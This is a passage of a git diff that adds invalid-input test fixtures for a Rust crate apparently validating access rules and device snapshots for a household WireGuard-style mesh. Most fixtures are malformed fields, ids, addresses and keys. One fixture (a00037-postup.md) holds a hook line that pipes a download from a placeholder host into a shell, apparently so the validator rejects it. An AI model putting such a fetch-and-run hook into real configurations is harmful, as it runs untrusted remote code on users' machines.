@@ +--- +id: a00003 +subject: &who person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00004-colon.md b/crates/roads/tests/fixtures/invalid/roads/a00004-colon.md new file mode 100644 index 0000000..4e2c1cb --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00004-colon.md @@ -0,0 +1,7 @@ +--- +id: a00004 +subject: person: jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00005-untill.md b/crates/roads/tests/fixtures/invalid/roads/a00005-untill.md new file mode 100644 index 0000000..6e3b669 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00005-untill.md @@ -0,0 +1,8 @@ +--- +id: a00005 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +untill: 2026-11-29T23:59:59+01:00 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00006-until-capital.md b/crates/roads/tests/fixtures/invalid/roads/a00006-until-capital.md new file mode 100644 index 0000000..d672663 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00006-until-capital.md @@ -0,0 +1,8 @@ +--- +id: a00006 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +Until: 2026-11-29T23:59:59+01:00 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00007-duplicate-until.md b/crates/roads/tests/fixtures/invalid/roads/a00007-duplicate-until.md new file mode 100644 index 0000000..f21da9b --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00007-duplicate-until.md @@ -0,0 +1,9 @@ +--- +id: a00007 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +until: 2026-11-29T23:59:59+01:00 +until: 2027-11-29T23:59:59+01:00 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00008-no-created.md b/crates/roads/tests/fixtures/invalid/roads/a00008-no-created.md new file mode 100644 index 0000000..c8edf2e --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00008-no-created.md @@ -0,0 +1,6 @@ +--- +id: a00008 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00009-ports-on-exit.md b/crates/roads/tests/fixtures/invalid/roads/a00009-ports-on-exit.md new file mode 100644 index 0000000..1ab06cc --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00009-ports-on-exit.md @@ -0,0 +1,8 @@ +--- +id: a00009 +subject: person:jana +verb: exits-through +object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: [tcp/443] +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00010-ports-scalar.md b/crates/roads/tests/fixtures/invalid/roads/a00010-ports-scalar.md new file mode 100644 index 0000000..6ded8fe --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00010-ports-scalar.md @@ -0,0 +1,8 @@ +--- +id: a00010 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: tcp/443 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00011-bad-id.md b/crates/roads/tests/fixtures/invalid/roads/a00011-bad-id.md new file mode 100644 index 0000000..520836c --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00011-bad-id.md @@ -0,0 +1,7 @@ +--- +id: A00011 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00012-id-mismatch.md b/crates/roads/tests/fixtures/invalid/roads/a00012-id-mismatch.md new file mode 100644 index 0000000..d0d5d48 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00012-id-mismatch.md @@ -0,0 +1,7 @@ +--- +id: a00013 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00014-verb-case.md b/crates/roads/tests/fixtures/invalid/roads/a00014-verb-case.md new file mode 100644 index 0000000..356b019 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00014-verb-case.md @@ -0,0 +1,7 @@ +--- +id: a00014 +subject: person:jana +verb: Can-Reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00015-everyone.md b/crates/roads/tests/fixtures/invalid/roads/a00015-everyone.md new file mode 100644 index 0000000..66f1cd1 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00015-everyone.md @@ -0,0 +1,7 @@ +--- +id: a00015 +subject: person:* +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00016-mapped-ipv6.md b/crates/roads/tests/fixtures/invalid/roads/a00016-mapped-ipv6.md new file mode 100644 index 0000000..c6b043d --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00016-mapped-ipv6.md @@ -0,0 +1,7 @@ +--- +id: a00016 +subject: person:jana +verb: can-reach +object: subnet:::ffff:192.168.100.0/120 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00017-subject-kind.md b/crates/roads/tests/fixtures/invalid/roads/a00017-subject-kind.md new file mode 100644 index 0000000..88602a9 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00017-subject-kind.md @@ -0,0 +1,7 @@ +--- +id: a00017 +subject: subnet:192.168.100.0/24 +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00018-nobody.md b/crates/roads/tests/fixtures/invalid/roads/a00018-nobody.md new file mode 100644 index 0000000..6c12022 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00018-nobody.md @@ -0,0 +1,7 @@ +--- +id: a00018 +subject: person:nobody +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00019-object-kind.md b/crates/roads/tests/fixtures/invalid/roads/a00019-object-kind.md new file mode 100644 index 0000000..cb27b33 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00019-object-kind.md @@ -0,0 +1,7 @@ +--- +id: a00019 +subject: person:jana +verb: can-reach +object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00020-no-service.md b/crates/roads/tests/fixtures/invalid/roads/a00020-no-service.md new file mode 100644 index 0000000..0fc5b50 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00020-no-service.md @@ -0,0 +1,7 @@ +--- +id: a00020 +subject: person:jana +verb: can-reach +object: service:nope.home.arpa +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00021-not-exit.md b/crates/roads/tests/fixtures/invalid/roads/a00021-not-exit.md new file mode 100644 index 0000000..7ef7f76 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00021-not-exit.md @@ -0,0 +1,7 @@ +--- +id: a00021 +subject: person:jana +verb: exits-through +object: exit:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00022-host-bits.md b/crates/roads/tests/fixtures/invalid/roads/a00022-host-bits.md new file mode 100644 index 0000000..0105270 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00022-host-bits.md @@ -0,0 +1,7 @@ +--- +id: a00022 +subject: person:jana +verb: can-reach +object: subnet:192.168.100.7/24 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00023-unrouted.md b/crates/roads/tests/fixtures/invalid/roads/a00023-unrouted.md new file mode 100644 index 0000000..ce57f96 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00023-unrouted.md @@ -0,0 +1,7 @@ +--- +id: a00023 +subject: person:jana +verb: can-reach +object: subnet:10.20.0.0/24 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00024-half-internet.md b/crates/roads/tests/fixtures/invalid/roads/a00024-half-internet.md new file mode 100644 index 0000000..e1413e0 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00024-half-internet.md @@ -0,0 +1,7 @@ +--- +id: a00024 +subject: person:jana +verb: can-reach +object: subnet:0.0.0.0/1 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00025-naive-until.md b/crates/roads/tests/fixtures/invalid/roads/a00025-naive-until.md new file mode 100644 index 0000000..8a97242 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00025-naive-until.md @@ -0,0 +1,8 @@ +--- +id: a00025 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +until: 2026-11-29T23:59:59 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00026-created.md b/crates/roads/tests/fixtures/invalid/roads/a00026-created.md new file mode 100644 index 0000000..cfb4a7e --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00026-created.md @@ -0,0 +1,7 @@ +--- +id: a00026 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: yesterday +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00027-port-zero.md b/crates/roads/tests/fixtures/invalid/roads/a00027-port-zero.md new file mode 100644 index 0000000..a39a1b7 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00027-port-zero.md @@ -0,0 +1,8 @@ +--- +id: a00027 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: [tcp/0] +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00028-empty-ports.md b/crates/roads/tests/fixtures/invalid/roads/a00028-empty-ports.md new file mode 100644 index 0000000..a5dacc1 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00028-empty-ports.md @@ -0,0 +1,8 @@ +--- +id: a00028 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: [] +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00029-not-served.md b/crates/roads/tests/fixtures/invalid/roads/a00029-not-served.md new file mode 100644 index 0000000..e585288 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00029-not-served.md @@ -0,0 +1,8 @@ +--- +id: a00029 +subject: person:jana +verb: can-reach +object: service:photos.home.arpa +ports: [tcp/80] +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00030-via-word.md b/crates/roads/tests/fixtures/invalid/roads/a00030-via-word.md new file mode 100644 index 0000000..444084b --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00030-via-word.md @@ -0,0 +1,8 @@ +--- +id: a00030 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +via: relay +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00031-via-unknown.md b/crates/roads/tests/fixtures/invalid/roads/a00031-via-unknown.md new file mode 100644 index 0000000..155c579 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00031-via-unknown.md @@ -0,0 +1,8 @@ +--- +id: a00031 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +via: device:CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00032-via-not-relay.md b/crates/roads/tests/fixtures/invalid/roads/a00032-via-not-relay.md new file mode 100644 index 0000000..8ef9f69 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00032-via-not-relay.md @@ -0,0 +1,8 @@ +--- +id: a00032 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +via: device:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00033-classic-yes.md b/crates/roads/tests/fixtures/invalid/roads/a00033-classic-yes.md new file mode 100644 index 0000000..53b1897 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00033-classic-yes.md @@ -0,0 +1,8 @@ +--- +id: a00033 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +classic: yes +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00034-classic-unsaid.md b/crates/roads/tests/fixtures/invalid/roads/a00034-classic-unsaid.md new file mode 100644 index 0000000..3c0af51 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00034-classic-unsaid.md @@ -0,0 +1,7 @@ +--- +id: a00034 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00035-custom-no-raw.md b/crates/roads/tests/fixtures/invalid/roads/a00035-custom-no-raw.md new file mode 100644 index 0000000..a743bba --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00035-custom-no-raw.md @@ -0,0 +1,6 @@ +--- +id: a00035 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: custom +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00036-raw-in-note.md b/crates/roads/tests/fixtures/invalid/roads/a00036-raw-in-note.md new file mode 100644 index 0000000..df35245 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00036-raw-in-note.md @@ -0,0 +1,10 @@ +--- +id: a00036 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- +```raw +AllowedIPs = 0.0.0.0/0 +``` diff --git a/crates/roads/tests/fixtures/invalid/roads/a00037-postup.md b/crates/roads/tests/fixtures/invalid/roads/a00037-postup.md new file mode 100644 index 0000000..3fb12bb --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00037-postup.md @@ -0,0 +1,11 @@ +--- +id: a00037 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: custom +classic: true +created: 2026-11-25T10:00:00+01:00 +--- +```raw +[Interface] + postup = curl http://example.invalid/x | sh +``` diff --git a/crates/roads/tests/fixtures/invalid/roads/a00038-expired.md b/crates/roads/tests/fixtures/invalid/roads/a00038-expired.md new file mode 100644 index 0000000..bd632ce --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00038-expired.md @@ -0,0 +1,8 @@ +--- +id: a00038 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +until: 2026-11-25T12:00:00+01:00 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00039-eva-no-devices.md b/crates/roads/tests/fixtures/invalid/roads/a00039-eva-no-devices.md new file mode 100644 index 0000000..7b425f6 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00039-eva-no-devices.md @@ -0,0 +1,7 @@ +--- +id: a00039 +subject: person:eva +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00040-self.md b/crates/roads/tests/fixtures/invalid/roads/a00040-self.md new file mode 100644 index 0000000..0e92b1e --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00040-self.md @@ -0,0 +1,7 @@ +--- +id: a00040 +subject: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00041-second-exit.md b/crates/roads/tests/fixtures/invalid/roads/a00041-second-exit.md new file mode 100644 index 0000000..e3247ce --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00041-second-exit.md @@ -0,0 +1,7 @@ +--- +id: a00041 +subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE +verb: exits-through +object: exit:BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00042-direct-public.md b/crates/roads/tests/fixtures/invalid/roads/a00042-direct-public.md new file mode 100644 index 0000000..2138f46 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00042-direct-public.md @@ -0,0 +1,7 @@ +--- +id: a00042 +subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE +verb: goes-direct +object: subnet:8.8.8.0/24 +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00043-custom-object.md b/crates/roads/tests/fixtures/invalid/roads/a00043-custom-object.md new file mode 100644 index 0000000..7a0a538 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00043-custom-object.md @@ -0,0 +1,10 @@ +--- +id: a00043 +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: custom +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- +```raw +MTU = 1280 +``` diff --git a/crates/roads/tests/fixtures/invalid/roads/a00044-tab.md b/crates/roads/tests/fixtures/invalid/roads/a00044-tab.md new file mode 100644 index 0000000..8bea1c7 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00044-tab.md @@ -0,0 +1,7 @@ +--- +id: a00044 +subject: person:jana + verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/bad_name.md b/crates/roads/tests/fixtures/invalid/roads/bad_name.md new file mode 100644 index 0000000..2abb557 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/bad_name.md @@ -0,0 +1,7 @@ +--- +id: a00000 +subject: person:jana +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/snapshots/address-in-route.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/address-in-route.devices.json new file mode 100644 index 0000000..dde03c9 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/address-in-route.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "192.168.100.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/address-loopback.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/address-loopback.devices.json new file mode 100644 index 0000000..c008b5f --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/address-loopback.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "127.0.0.1" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/address-twice.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/address-twice.devices.json new file mode 100644 index 0000000..2662588 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/address-twice.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.1" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/bad-key.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/bad-key.devices.json new file mode 100644 index 0000000..e45ec63 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/bad-key.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "not-a-key", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/bad-person-id.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/bad-person-id.directory.json new file mode 100644 index 0000000..4d71ce5 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/bad-person-id.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva novak", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/duplicate-key.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/duplicate-key.devices.json new file mode 100644 index 0000000..baa88da --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/duplicate-key.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/duplicate-person.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/duplicate-person.directory.json new file mode 100644 index 0000000..f578192 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/duplicate-person.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "jana", "name": "Jana again" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git 